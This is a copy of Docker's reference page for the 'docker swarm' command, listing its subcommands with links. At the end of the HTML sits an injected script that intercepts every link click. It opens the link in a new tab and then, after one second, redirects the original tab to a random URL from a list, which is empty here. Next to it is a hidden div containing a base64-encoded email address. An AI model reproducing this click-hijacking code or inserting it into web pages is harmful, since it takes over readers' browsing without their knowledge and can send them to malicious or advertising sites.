<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p># docker swarm

**Description:** Manage Swarm

**Usage:** `docker swarm`








**Orchestrator:** Swarm

## Description

Manage the swarm.






## Subcommands

| Command | Description |
|---------|-------------|
| [`docker swarm ca`](https://docs.docker.com/reference/cli/docker/swarm/ca/) | Display and rotate the root CA |
| [`docker swarm init`](https://docs.docker.com/reference/cli/docker/swarm/init/) | Initialize a swarm |
| [`docker swarm join`](https://docs.docker.com/reference/cli/docker/swarm/join/) | Join a swarm as a node and/or manager |
| [`docker swarm join-token`](https://docs.docker.com/reference/cli/docker/swarm/join-token/) | Manage join tokens |
| [`docker swarm leave`](https://docs.docker.com/reference/cli/docker/swarm/leave/) | Leave the swarm |
| [`docker swarm unlock`](https://docs.docker.com/reference/cli/docker/swarm/unlock/) | Unlock swarm |
| [`docker swarm unlock-key`](https://docs.docker.com/reference/cli/docker/swarm/unlock-key/) | Manage the unlock key |
| [`docker swarm update`](https://docs.docker.com/reference/cli/docker/swarm/update/) | Update the swarm |


</p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
